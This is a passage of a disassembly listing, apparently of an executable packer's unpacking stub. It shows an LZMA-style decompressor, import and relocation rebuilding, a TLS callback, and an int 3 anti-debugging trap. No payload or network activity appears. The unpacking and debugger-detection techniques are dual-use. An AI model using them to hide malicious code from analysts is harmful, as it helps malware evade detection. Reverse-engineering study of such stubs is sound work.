dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch push ebp mov ebp, esp sub esp, 34h mov eax, [ebp+arg_8] push ebx push esi push edi mov edi, [ebp+arg_C] push 1 pop edx xor bl, bl lea ecx, [eax+edi] mov eax, 300h shl eax, cl xor ecx, ecx mov esi, edx mov [ebp+var_4], ecx mov [ebp+var_14], ecx mov [ebp+arg_C], ecx mov ecx, [ebp+arg_10] shl esi, cl add eax, 736h mov ecx, edi mov [ebp+var_8], edx mov [ebp+var_10], edx mov [ebp+var_C], edx mov [ebp+var_18], edx dec esi mov [ebp+var_1C], esi mov esi, edx shl esi, cl dec esi mov [ebp+var_20], esi mov esi, [ebp+arg_0] test eax, eax jbe short loc_434653 mov ecx, eax mov eax, 4000400h mov edi, esi shr ecx, 1 rep stosd adc ecx, ecx rep stosw loc_434653: ; CODE XREF: sub_4345EB+54j mov eax, [ebp+arg_14] mov ecx, [ebp+arg_18] and [ebp+var_24], 0 and [ebp+var_28], 0 or [ebp+var_2C], 0FFFFFFFFh lea edi, [eax+ecx] mov [ebp+var_34], eax mov [ebp+var_30], edi mov [ebp+arg_10], 5 loc_434675: ; CODE XREF: sub_4345EB+AFj cmp [ebp+var_34], edi jnz short loc_434681 mov [ebp+var_24], edx or al, 0FFh jmp short loc_434689 ; --------------------------------------------------------------------------- loc_434681: ; CODE XREF: sub_4345EB+8Dj mov eax, [ebp+var_34] mov al, [eax] inc [ebp+var_34] loc_434689: ; CODE XREF: sub_4345EB+94j mov ecx, [ebp+var_28] movzx eax, al shl ecx, 8 or ecx, eax dec [ebp+arg_10] mov [ebp+var_28], ecx jnz short loc_434675 mov eax, [ebp+arg_24] and dword ptr [eax], 0 cmp [ebp+arg_20], 0 jbe loc_434951 loc_4346AC: ; CODE XREF: sub_4345EB+360j mov edi, [ebp+var_1C] lea eax, [ebp+var_34] and edi, [ebp+arg_C] push eax mov eax, [ebp+var_4] shl eax, 4 add eax, edi lea eax, [esi+eax*2] push eax call sub_4343BA pop ecx test eax, eax pop ecx jnz loc_434761 mov edx, [ebp+var_20] mov cl, 8 sub cl, byte ptr [ebp+arg_8] and edx, [ebp+arg_C] movzx eax, bl shr eax, cl mov ecx, [ebp+arg_8] shl edx, cl add eax, edx lea eax, [eax+eax*2] shl eax, 9 cmp [ebp+var_4], 4 lea edi, [eax+esi+0E6Ch] jge short loc_434701 and [ebp+var_4], 0 jmp short loc_434711 ; --------------------------------------------------------------------------- loc_434701: ; CODE XREF: sub_4345EB+10Ej cmp [ebp+var_4], 0Ah jge short loc_43470D sub [ebp+var_4], 3 jmp short loc_434711 ; --------------------------------------------------------------------------- loc_43470D: ; CODE XREF: sub_4345EB+11Aj sub [ebp+var_4], 6 loc_434711: ; CODE XREF: sub_4345EB+114j ; sub_4345EB+120j cmp [ebp+var_14], 0 jz short loc_43473E mov eax, [ebp+arg_C] mov ecx, [ebp+arg_1C] sub eax, [ebp+var_8] mov al, [eax+ecx] mov byte ptr [ebp+arg_10], al lea eax, [ebp+var_34] push [ebp+arg_10] push eax push edi call sub_4344F1 add esp, 0Ch and [ebp+var_14], 0 mov bl, al jmp short loc_43475C ; --------------------------------------------------------------------------- loc_43473E: ; CODE XREF: sub_4345EB+12Aj push 1 pop ebx loc_434741: ; CODE XREF: sub_4345EB+16Fj add ebx, ebx lea eax, [ebp+var_34] push eax lea eax, [ebx+edi] push eax call sub_4343BA or ebx, eax pop ecx cmp ebx, 100h pop ecx jl short loc_434741 loc_43475C: ; CODE XREF: sub_4345EB+151j mov eax, [ebp+arg_1C] jmp short loc_4347D4 ; --------------------------------------------------------------------------- loc_434761: ; CODE XREF: sub_4345EB+E0j mov ebx, [ebp+var_4] lea eax, [ebp+var_34] push eax mov [ebp+var_14], 1 lea eax, [esi+ebx*2+180h] push eax call sub_4343BA pop ecx cmp eax, 1 pop ecx jnz loc_43485A lea eax, [ebp+var_34] push eax lea eax, [esi+ebx*2+198h] push eax call sub_4343BA pop ecx test eax, eax pop ecx lea eax, [ebp+var_34] push eax jnz short loc_4347E2 lea eax, [ebx+0Fh] shl eax, 4 add eax, edi lea eax, [esi+eax*2] push eax call sub_4343BA pop ecx test eax, eax pop ecx jnz short loc_43482E cmp ebx, 7 mov ecx, [ebp+arg_C] setnl al dec eax and al, 0FEh add eax, 0Bh sub ecx, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+arg_1C] mov bl, [ecx+eax] loc_4347D4: ; CODE XREF: sub_4345EB+174j mov ecx, [ebp+arg_C] inc [ebp+arg_C] mov [ecx+eax], bl jmp loc_434945 ; --------------------------------------------------------------------------- loc_4347E2: ; CODE XREF: sub_4345EB+1B5j lea eax, [esi+ebx*2+1B0h] push eax call sub_4343BA pop ecx test eax, eax pop ecx jnz short loc_4347FA mov eax, [ebp+var_10] jmp short loc_434825 ; --------------------------------------------------------------------------- loc_4347FA: ; CODE XREF: sub_4345EB+208j lea eax, [ebp+var_34] push eax lea eax, [esi+ebx*2+1C8h] push eax call sub_4343BA pop ecx test eax, eax pop ecx jnz short loc_434816 mov eax, [ebp+var_C] jmp short loc_43481F ; --------------------------------------------------------------------------- loc_434816: ; CODE XREF: sub_4345EB+224j mov ecx, [ebp+var_C] mov eax, [ebp+var_18] mov [ebp+var_18], ecx loc_43481F: ; CODE XREF: sub_4345EB+229j mov ecx, [ebp+var_10] mov [ebp+var_C], ecx loc_434825: ; CODE XREF: sub_4345EB+20Dj mov ecx, [ebp+var_8] mov [ebp+var_8], eax mov [ebp+var_10], ecx loc_43482E: ; CODE XREF: sub_4345EB+1CCj lea eax, [ebp+var_34] push edi push eax lea eax, [esi+0A68h] push eax call sub_434576 mov edi, eax add esp, 0Ch xor eax, eax cmp ebx, 7 setnl al dec eax and al, 0FDh add eax, 0Bh mov [ebp+var_4], eax jmp loc_43491E ; --------------------------------------------------------------------------- loc_43485A: ; CODE XREF: sub_4345EB+196j mov eax, [ebp+var_C] push edi mov [ebp+var_18], eax mov eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_8] mov [ebp+var_10], eax xor eax, eax cmp ebx, 7 setnl al dec eax and al, 0FDh add eax, 0Ah mov [ebp+var_4], eax lea eax, [ebp+var_34] push eax lea eax, [esi+664h] push eax call sub_434576 mov edi, eax add esp, 0Ch cmp edi, 4 jge short loc_43489A jmp short loc_43489D ; --------------------------------------------------------------------------- loc_43489A: ; CODE XREF: sub_4345EB+2ABj push 3 pop eax loc_43489D: ; CODE XREF: sub_4345EB+2ADj shl eax, 7 lea ecx, [ebp+var_34] push ecx lea eax, [eax+esi+360h] push 6 push eax call sub_43447F add esp, 0Ch cmp eax, 4 jl short loc_434915 mov ecx, eax mov ebx, eax sar ecx, 1 and ebx, 1 dec ecx or ebx, 2 shl ebx, cl cmp eax, 0Eh jge short loc_4348EC lea edx, [ebp+var_34] push edx push ecx mov ecx, ebx sub ecx, eax lea eax, [esi+ecx*2+55Eh] push eax call sub_4344B6 add esp, 0Ch loc_4348E8: ; CODE XREF: sub_4345EB+328j add ebx, eax jmp short loc_43491A ; --------------------------------------------------------------------------- loc_4348EC: ; CODE XREF: sub_4345EB+2E2j add ecx, 0FFFFFFFCh lea eax, [ebp+var_34] push ecx push eax call sub_434358 shl eax, 4 add ebx, eax lea eax, [ebp+var_34] push eax lea eax, [esi+644h] push 4 push eax call sub_4344B6 add esp, 14h jmp short loc_4348E8 ; --------------------------------------------------------------------------- loc_434915: ; CODE XREF: sub_4345EB+2CEj mov [ebp+var_8], eax mov ebx, eax loc_43491A: ; CODE XREF: sub_4345EB+2FFj inc ebx mov [ebp+var_8], ebx loc_43491E: ; CODE XREF: sub_4345EB+26Aj cmp [ebp+var_8], 0 jz short loc_434951 inc edi inc edi loc_434926: ; CODE XREF: sub_4345EB+358j mov ecx, [ebp+arg_C] mov eax, [ebp+arg_1C] mov edx, ecx sub edx, [ebp+var_8] mov bl, [edx+eax] mov [ecx+eax], bl inc ecx dec edi mov [ebp+arg_C], ecx test edi, edi jle short loc_434945 cmp ecx, [ebp+arg_20] jb short loc_434926 loc_434945: ; CODE XREF: sub_4345EB+1F2j ; sub_4345EB+353j mov eax, [ebp+arg_C] cmp eax, [ebp+arg_20] jb loc_4346AC loc_434951: ; CODE XREF: sub_4345EB+BBj ; sub_4345EB+337j mov ecx, [ebp+arg_24] mov eax, [ebp+arg_C] pop edi pop esi mov [ecx], eax xor eax, eax pop ebx leave retn sub_4345EB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_434960 proc near ; CODE XREF: start+26Fp start+329p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_0] push ebx push esi push edi mov cl, [eax] cmp cl, 0E1h jnb short loc_4349D2 xor ebx, ebx cmp cl, 2Dh mov [ebp+var_4], ebx jb short loc_434990 movzx eax, cl push 2Dh xor edx, edx pop esi div esi mov [ebp+var_4], eax loc_43498A: ; CODE XREF: sub_434960+2Ej add cl, 0D3h dec eax jnz short loc_43498A loc_434990: ; CODE XREF: sub_434960+1Bj cmp cl, 9 jb short loc_4349A7 movzx eax, cl push 9 xor edx, edx pop esi div esi mov ebx, eax loc_4349A1: ; CODE XREF: sub_434960+45j add cl, 0F7h dec eax jnz short loc_4349A1 loc_4349A7: ; CODE XREF: sub_434960+33j movzx esi, cl mov eax, 300h push 4 lea ecx, [esi+ebx] push 1000h shl eax, cl lea edi, [eax+eax+0E6Ch] push edi push 0 call ds:dword_434238 ; VirtualAlloc test eax, eax mov [ebp+var_C], eax jnz short loc_4349D7 loc_4349D2: ; CODE XREF: sub_434960+11j push 1 pop eax jmp short loc_434A34 ; --------------------------------------------------------------------------- loc_4349D7: ; CODE XREF: sub_434960+70j lea ecx, [ebp+var_8] push ecx mov ecx, [ebp+arg_4] push 0FFFFFFFFh add ecx, 0FFFFFFFBh push [ebp+arg_8] push ecx mov ecx, [ebp+arg_0] add ecx, 5 push ecx push [ebp+var_4] push ebx push esi push edi push eax call sub_4345EB add esp, 28h mov esi, [ebp+var_8] xor ebx, ebx mov edi, eax push 8000h push ebx push [ebp+var_C] call ds:dword_434234 ; VirtualFree lea eax, [ebp+var_10] mov [ebp+var_14], ebx push eax lea eax, [ebp+var_14] push eax push ebx push esi mov [ebp+var_10], 0FFFFFFFBh push [ebp+arg_8] call sub_4356A2 add esp, 14h mov eax, edi loc_434A34: ; CODE XREF: sub_434960+75j pop edi pop esi pop ebx leave retn sub_434960 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame public start start proc near ; DATA XREF: start+30o var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 00435309 SIZE 00000005 BYTES push ebp mov ebp, esp sub esp, 60h push ebx push esi push edi and [ebp+var_28], 0 rep jmp short loc_434A55 ; --------------------------------------------------------------------------- db 65h, 58h, 50h dd 2E762D72h, 2E342E31h db 0 ; --------------------------------------------------------------------------- loc_434A55: ; CODE XREF: start+Dj mov eax, ds:dword_434000 add eax, offset dword_434000 mov ds:off_434024, eax mov eax, ds:off_434024 mov ecx, offset start sub ecx, [eax+18h] mov ds:dword_434028, ecx cmp ds:dword_43402C, 0 jz short loc_434A96 mov eax, ds:off_434024 mov ecx, ds:dword_434028 add ecx, [eax+14h] mov [ebp+var_38], ecx jmp loc_4352A4 ; --------------------------------------------------------------------------- loc_434A96: ; CODE XREF: start+45j mov ds:dword_43402C, 1 mov eax, offset sub_4353E1 push eax push large dword ptr fs:0 mov large fs:0, esp push 5 mov eax, offset sub_435401 add eax, 0Eh push eax call sub_435401 pop ecx pop ecx imul eax, 8Ch mov ecx, ds:off_434024 add ecx, eax mov ds:off_434024, ecx call sub_43539D imul eax, 8Ch mov ecx, ds:off_434024 add ecx, eax mov ds:off_434024, ecx mov ds:dword_434030, offset loc_434B18 push ebp push eax mov eax, 0B9h add eax, 13h mov ebp, offset loc_434B18 mov [ebp+0], al mov ebp, 4243484Bh mov ax, 4 loc_434B18: ; DATA XREF: start+BAo start+CEo int 3 ; Trap to Debugger cmp al, 4 pop eax pop ebp jnz short loc_434B21 jmp short loc_434B28 ; --------------------------------------------------------------------------- loc_434B21: ; CODE XREF: start+E4j mov [ebp+var_28], 3 loc_434B28: ; CODE XREF: start+E6j mov eax, ds:off_434024 mov eax, [eax+14h] add eax, [ebp+var_28] mov ecx, ds:off_434024 mov [ecx+14h], eax loc_434B3C: ; DATA XREF: start:loc_434B3Co mov [ebp+var_28], offset loc_434B3C push 0Ah mov eax, [ebp+var_28] add eax, 10h push eax call sub_435401 pop ecx pop ecx mov [ebp+var_28], eax mov eax, [ebp+var_28] imul eax, 8Ch mov ecx, ds:off_434024 add ecx, eax mov ds:off_434024, ecx push 4 push 1000h push 80h push 0 call ds:dword_434238 ; VirtualAlloc mov [ebp+var_24], eax cmp [ebp+arg_4], 1 jz short loc_434B8E and [ebp+arg_0], 0 loc_434B8E: ; CODE XREF: start+14Fj push 4 push 1000h push 104h push 0 call ds:dword_434238 ; VirtualAlloc mov [ebp+var_14], eax push 104h push [ebp+var_14] push [ebp+arg_0] call ds:dword_434250 ; GetModuleFileNameA mov ecx, [ebp+var_14] lea eax, [ecx+eax-1] mov [ebp+var_58], eax loc_434BC0: ; CODE XREF: start+199j mov eax, [ebp+var_58] movsx eax, byte ptr [eax] cmp eax, 5Ch jz short loc_434BD4 mov eax, [ebp+var_58] dec eax mov [ebp+var_58], eax jmp short loc_434BC0 ; --------------------------------------------------------------------------- loc_434BD4: ; CODE XREF: start+190j mov eax, [ebp+var_58] inc eax mov [ebp+var_58], eax mov eax, [ebp+var_58] sub eax, [ebp+var_14] mov [ebp+var_54], eax push 4 push 1000h push 104h push 0 call ds:dword_434238 ; VirtualAlloc mov [ebp+var_4], eax mov ecx, [ebp+var_54] mov esi, [ebp+var_14] mov edi, [ebp+var_4] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov eax, [ebp+var_4] add eax, [ebp+var_54] and byte ptr [eax+1], 0 mov eax, ds:dword_434020 shl eax, 6 mov ecx, ds:dword_434028 add ecx, eax mov [ebp+var_44], ecx mov eax, [ebp+var_44] mov ecx, ds:dword_434028 add ecx, [eax+3Ch] mov [ebp+var_10], ecx mov eax, [ebp+var_10] add eax, 0F8h mov [ebp+var_40], eax mov eax, ds:off_434024 cmp dword ptr [eax+68h], 0 jz short loc_434CC7 mov eax, ds:off_434024 mov ecx, ds:dword_434028 add ecx, [eax+80h] mov ds:dword_435824, ecx mov eax, ds:dword_435824 mov [ebp+var_3C], eax mov eax, ds:off_434024 mov eax, [eax+8] mov ds:dword_435828, eax mov eax, ds:off_434024 mov ecx, ds:dword_434028 add ecx, [eax+10h] mov ds:off_435820, ecx push ds:dword_435824 mov eax, ds:off_434024 push dword ptr [eax+4] push ds:off_435820 call sub_434960 add esp, 0Ch mov eax, ds:off_434024 push dword ptr [eax+6Ch] push [ebp+var_3C] call sub_435421 pop ecx pop ecx jmp loc_435307 ; --------------------------------------------------------------------------- loc_434CC7: ; CODE XREF: start+219j mov eax, ds:off_434024 cmp dword ptr [eax+64h], 0 jz loc_434DF1 push 4 push 1000h mov eax, ds:off_434024 push dword ptr [eax+4] push 0 call ds:dword_434238 ; VirtualAlloc mov [ebp+var_3C], eax mov eax, [ebp+var_3C] mov ds:dword_435824, eax cmp ds:dword_435824, 0 jnz short loc_434D1B push 30h push [ebp+var_58] push offset aErrorAllocatin ; "Error allocating memory!" push 0 call ds:dword_434260 ; MessageBoxA push 0 call ds:dword_43424C ; ExitProcess loc_434D1B: ; CODE XREF: start+2C6j mov eax, ds:off_434024 mov eax, [eax+8] mov ds:dword_435828, eax mov eax, ds:off_434024 mov ecx, ds:dword_434028 add ecx, [eax+10h] mov eax, ds:off_434024 mov esi, [ebp+var_10] mov eax, [eax+78h] xor edx, edx div dword ptr [esi+3Ch] add ecx, edx mov ds:off_435820, ecx push ds:dword_435824 mov eax, ds:off_434024 push dword ptr [eax+4] push ds:off_435820 call sub_434960 add esp, 0Ch jmp short loc_434D73 ; --------------------------------------------------------------------------- loc_434D6C: ; CODE XREF: start+3A1j mov eax, [ebp+var_28] inc eax mov [ebp+var_28], eax loc_434D73: ; CODE XREF: start+331j mov eax, ds:off_434024 movzx eax, word ptr [eax+70h] cmp [ebp+var_28], eax jge short loc_434DDC mov eax, [ebp+var_28] imul eax, 18h mov ecx, ds:off_434024 mov ecx, [ecx+eax+7Ch] mov esi, ds:dword_435824 mov eax, [ebp+var_28] imul eax, 18h mov edx, ds:off_434024 mov edi, ds:dword_434028 add edi, [edx+eax+80h] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov eax, [ebp+var_28] imul eax, 18h mov ecx, ds:off_434024 mov edx, ds:dword_435824 add edx, [ecx+eax+7Ch] mov ds:dword_435824, edx jmp short loc_434D6C ; --------------------------------------------------------------------------- loc_434DDC: ; CODE XREF: start+346j push 8000h push 0 push [ebp+var_3C] call ds:dword_434234 ; VirtualFree jmp loc_434EDB ; --------------------------------------------------------------------------- loc_434DF1: ; CODE XREF: start+297j mov eax, ds:off_434024 mov ecx, ds:dword_434028 add ecx, [eax+10h] mov eax, ds:off_434024 sub ecx, [eax+0Ch] mov eax, ds:off_434024 mov esi, [ebp+var_10] mov eax, [eax+78h] xor edx, edx div dword ptr [esi+3Ch] add ecx, edx mov [ebp+var_3C], ecx and [ebp+var_28], 0 jmp short loc_434E29 ; --------------------------------------------------------------------------- loc_434E22: ; CODE XREF: start:loc_434ED6j mov eax, [ebp+var_28] inc eax mov [ebp+var_28], eax loc_434E29: ; CODE XREF: start+3E7j mov eax, ds:off_434024 movzx eax, word ptr [eax+70h] cmp [ebp+var_28], eax jge loc_434EDB mov eax, [ebp+var_28] imul eax, 18h mov ecx, ds:off_434024 cmp dword ptr [ecx+eax+74h], 0 jz loc_434ED6 mov eax, [ebp+var_28] imul eax, 18h mov ecx, ds:off_434024 cmp dword ptr [ecx+eax+7Ch], 0 jbe short loc_434ED6 mov eax, [ebp+var_28] imul eax, 18h mov ecx, ds:off_434024 mov edx, ds:dword_434028 add edx, [ecx+eax+80h] mov ds:dword_435824, edx mov eax, [ebp+var_28] imul eax, 18h mov ecx, ds:off_434024 mov eax, [ecx+eax+7Ch] mov ds:dword_435828, eax mov eax, [ebp+var_28] imul eax, 18h mov ecx, ds:off_434024 mov edx, [ebp+var_3C] add edx, [ecx+eax+78h] mov ds:off_435820, edx push ds:dword_435824 mov eax, [ebp+var_28] imul eax, 18h mov ecx, ds:off_434024 push dword ptr [ecx+eax+7Ch] push ds:off_435820 call sub_434960 add esp, 0Ch loc_434ED6: ; CODE XREF: start+413j start+42Aj jmp loc_434E22 ; --------------------------------------------------------------------------- loc_434EDB: ; CODE XREF: start+3B3j start+3FCj mov eax, ds:off_434024 mov ecx, ds:dword_434028 add ecx, [eax+24h] mov [ebp+var_50], ecx loc_434EEC: ; CODE XREF: start+6C4j mov eax, [ebp+var_50] cmp dword ptr [eax+0Ch], 0 jz loc_435102 mov eax, ds:off_434024 cmp dword ptr [eax+24h], 0 jz loc_435102 lea eax, [ebp+var_48] push eax push 40h push 14h push [ebp+var_50] call ds:dword_434248 ; VirtualProtect mov eax, [ebp+var_50] mov ecx, ds:dword_434028 add ecx, [eax+0Ch] mov [ebp+var_C], ecx push [ebp+var_C] call ds:dword_434244 ; GetModuleHandleA mov [ebp+var_30], eax cmp [ebp+var_30], 0 jnz short loc_434F4A push 8 push 0 push [ebp+var_C] call ds:dword_434240 ; LoadLibraryExA mov [ebp+var_30], eax loc_434F4A: ; CODE XREF: start+4FFj cmp [ebp+var_30], 0 jnz short loc_434F88 mov edi, [ebp+var_C] mov eax, [ebp+var_4] add eax, [ebp+var_54] mov edx, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov esi, edi mov eax, ecx mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb push 8 push 0 push [ebp+var_4] call ds:dword_434240 ; LoadLibraryExA mov [ebp+var_30], eax loc_434F88: ; CODE XREF: start+515j cmp [ebp+var_30], 0 jnz short loc_434FBA push [ebp+var_C] push offset aARequired_dllF ; "A required .DLL file, %hs, was not foun"... push [ebp+var_24] call ds:dword_43425C ; wsprintfA add esp, 0Ch push 30h push [ebp+var_58] push [ebp+var_24] push 0 call ds:dword_434260 ; MessageBoxA push 0 call ds:dword_43424C ; ExitProcess loc_434FBA: ; CODE XREF: start+553j mov eax, [ebp+var_50] mov ecx, [ebp+var_30] mov [eax+8], ecx mov eax, [ebp+var_50] mov dword ptr [eax+4], 0CDC31337h mov eax, [ebp+var_50] mov ecx, ds:dword_434028 add ecx, [eax+10h] mov [ebp+var_20], ecx mov eax, [ebp+var_50] cmp dword ptr [eax], 0 jnz short loc_434FEC mov eax, [ebp+var_20] mov [ebp+var_18], eax jmp short loc_434FFA ; --------------------------------------------------------------------------- loc_434FEC: ; CODE XREF: start+5A9j mov eax, [ebp+var_50] mov ecx, ds:dword_434028 add ecx, [eax] mov [ebp+var_18], ecx loc_434FFA: ; CODE XREF: start+5B1j start+6B6j mov eax, [ebp+var_18] cmp dword ptr [eax], 0 jz loc_4350F4 and [ebp+var_5C], 0 mov eax, [ebp+var_18] mov eax, [eax] and eax, 80000000h test eax, eax jz short loc_435034 mov eax, [ebp+var_18] mov eax, [eax] and eax, 0FFFFh movzx eax, ax push eax push [ebp+var_30] call ds:dword_43423C ; GetProcAddress mov [ebp+var_5C], eax jmp short loc_435054 ; --------------------------------------------------------------------------- loc_435034: ; CODE XREF: start+5DDj mov eax, [ebp+var_18] mov eax, [eax] add eax, ds:dword_434028 mov [ebp+var_8], eax mov eax, [ebp+var_8] inc eax inc eax push eax push [ebp+var_30] call ds:dword_43423C ; GetProcAddress mov [ebp+var_5C], eax loc_435054: ; CODE XREF: start+5F9j cmp [ebp+var_5C], 0 jnz short loc_4350C4 mov eax, [ebp+var_18] mov eax, [eax] and eax, 80000000h test eax, eax jz short loc_43508F mov eax, [ebp+var_18] mov eax, [eax] and eax, 0FFFFh movzx eax, ax push eax push [ebp+var_C] push [ebp+var_58] push offset aTheHsFileIsLin ; "The %hs file is \nlinked to missing expo"... push [ebp+var_24] call ds:dword_43425C ; wsprintfA add esp, 14h jmp short loc_4350AC ; --------------------------------------------------------------------------- loc_43508F: ; CODE XREF: start+62Dj mov eax, [ebp+var_8] inc eax inc eax push eax push [ebp+var_C] push [ebp+var_58] push offset aTheHsFileIsL_0 ; "The %hs file is \nlinked to missing expo"... push [ebp+var_24] call ds:dword_43425C ; wsprintfA add esp, 14h loc_4350AC: ; CODE XREF: start+654j push 30h push [ebp+var_58] push [ebp+var_24] push 0 call ds:dword_434260 ; MessageBoxA push 0 call ds:dword_43424C ; ExitProcess loc_4350C4: ; CODE XREF: start+61Fj lea eax, [ebp+var_48] push eax push 40h push 4 push [ebp+var_20] call ds:dword_434248 ; VirtualProtect mov eax, [ebp+var_20] mov ecx, [ebp+var_5C] mov [eax], ecx mov eax, [ebp+var_18] add eax, 4 mov [ebp+var_18], eax mov eax, [ebp+var_20] add eax, 4 mov [ebp+var_20], eax jmp loc_434FFA ; --------------------------------------------------------------------------- loc_4350F4: ; CODE XREF: start+5C7j mov eax, [ebp+var_50] add eax, 14h mov [ebp+var_50], eax jmp loc_434EEC ; --------------------------------------------------------------------------- loc_435102: ; CODE XREF: start+4BAj start+4C9j mov eax, ds:off_434024 mov eax, [eax+1Ch] cmp eax, ds:dword_434028 jz loc_435279 mov eax, ds:off_434024 cmp dword ptr [eax+28h], 0 jz loc_435279 mov eax, ds:off_434024 mov ecx, ds:dword_434028 add ecx, [eax+28h] mov [ebp+var_34], ecx loc_435136: ; CODE XREF: start+83Bj mov eax, [ebp+var_34] cmp dword ptr [eax], 0 jz loc_435279 mov eax, [ebp+var_34] add eax, 8 mov [ebp+var_4C], eax and [ebp+var_28], 0 jmp short loc_435158 ; --------------------------------------------------------------------------- loc_435151: ; CODE XREF: start+82Aj mov eax, [ebp+var_28] inc eax mov [ebp+var_28], eax loc_435158: ; CODE XREF: start+716j mov eax, [ebp+var_34] mov eax, [eax+4] sub eax, 8 cdq sub eax, edx sar eax, 1 cmp [ebp+var_28], eax jge loc_435268 mov eax, [ebp+var_34] mov eax, [eax] add eax, ds:dword_434028 mov ecx, [ebp+var_4C] movzx ecx, word ptr [ecx] and ecx, 0FFFh add eax, ecx mov [ebp+var_1C], eax mov eax, [ebp+var_4C] movzx eax, word ptr [eax] sar eax, 0Ch mov [ebp+var_60], eax cmp [ebp+var_60], 0 jz short loc_4351A8 cmp [ebp+var_60], 3 jz short loc_4351AD jmp loc_43522E ; --------------------------------------------------------------------------- loc_4351A8: ; CODE XREF: start+762j jmp loc_43525B ; --------------------------------------------------------------------------- loc_4351AD: ; CODE XREF: start+768j mov eax, [ebp+var_1C] mov eax, [eax] mov [ebp+var_48], eax mov eax, ds:off_434024 mov ecx, [ebp+var_48] sub ecx, [eax+1Ch] add ecx, ds:dword_434028 mov [ebp+var_48], ecx mov eax, [ebp+var_48] cmp eax, ds:dword_434028 jb short loc_4351E5 mov eax, [ebp+var_10] mov ecx, ds:dword_434028 add ecx, [eax+50h] cmp [ebp+var_48], ecx jbe short loc_435213 loc_4351E5: ; CODE XREF: start+799j mov eax, [ebp+var_1C] push dword ptr [eax] push offset aErrorBadReloca ; "Error bad relocation pointer: *pdw = 0x"... push [ebp+var_24] call ds:dword_43425C ; wsprintfA add esp, 0Ch push 0 push [ebp+var_58] push [ebp+var_24] push 0 call ds:dword_434260 ; MessageBoxA push 0 call ds:dword_43424C ; ExitProcess loc_435213: ; CODE XREF: start+7AAj lea eax, [ebp+var_2C] push eax push 40h push 4 push [ebp+var_1C] call ds:dword_434248 ; VirtualProtect mov eax, [ebp+var_1C] mov ecx, [ebp+var_48] mov [eax], ecx jmp short loc_43525B ; --------------------------------------------------------------------------- loc_43522E: ; CODE XREF: start+76Aj mov eax, [ebp+var_1C] push dword ptr [eax] mov eax, [ebp+var_4C] movzx eax, word ptr [eax] push eax push offset aUnexpectedRelo ; "Unexpected relocation type: *pw = 0x%04"... push [ebp+var_24] call ds:dword_43425C ; wsprintfA add esp, 10h push 0 push [ebp+var_58] push [ebp+var_24] push 0 call ds:dword_434260 ; MessageBoxA loc_43525B: ; CODE XREF: start:loc_4351A8j ; start+7F3j mov eax, [ebp+var_4C] inc eax inc eax mov [ebp+var_4C], eax jmp loc_435151 ; --------------------------------------------------------------------------- loc_435268: ; CODE XREF: start+730j mov eax, [ebp+var_34] mov ecx, [ebp+var_34] add ecx, [eax+4] mov [ebp+var_34], ecx jmp loc_435136 ; --------------------------------------------------------------------------- loc_435279: ; CODE XREF: start+6D7j start+6E6j ... mov eax, ds:off_434024 cmp dword ptr [eax+30h], 0 jz short loc_435289 call sub_435372 loc_435289: ; CODE XREF: start+849j mov eax, ds:off_434024 mov ecx, ds:dword_434028 add ecx, [eax+14h] mov [ebp+var_38], ecx pop large dword ptr fs:0 add esp, 4 loc_4352A4: ; CODE XREF: start+58j ; start:loc_435307j push 8000h push 0 push [ebp+var_24] call ds:dword_434234 ; VirtualFree push 8000h push 0 push [ebp+var_4] call ds:dword_434234 ; VirtualFree push 8000h push 0 push [ebp+var_14] call ds:dword_434234 ; VirtualFree mov eax, ds:off_434024 cmp dword ptr [eax+68h], 0 jz short loc_4352E7 push 0 call ds:dword_43424C ; ExitProcess loc_4352E7: ; CODE XREF: start+8A4j mov eax, [ebp+var_38] pop edi pop esi pop ebx add esp, 60h pop ebp push eax mov eax, ds:off_434024 cmp dword ptr [eax+14h], 0 jnz short loc_435302 pop eax xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_435302: ; CODE XREF: start+8C2j pop eax jmp eax ; --------------------------------------------------------------------------- jmp short loc_435309 ; --------------------------------------------------------------------------- loc_435307: ; CODE XREF: start+289j jmp short loc_4352A4 start endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_435309: ; CODE XREF: start+8CCj pop edi pop esi pop ebx leave retn ; END OF FUNCTION CHUNK FOR start ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame public TlsCallback_0 TlsCallback_0 proc near ; CODE XREF: sub_435372+25p ; DATA XREF: .ex_cod:TlsCallbackso arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp call sub_43539D push 1 test eax, eax pop ecx jz short loc_435323 mov ds:dword_434020, ecx loc_435323: ; CODE XREF: TlsCallback_0+Dj cmp ds:dword_43400C, 0 push esi jz short loc_43534F mov eax, ds:off_434024 mov esi, [eax+40h] test esi, esi jz short loc_43536D loc_435339: ; CODE XREF: 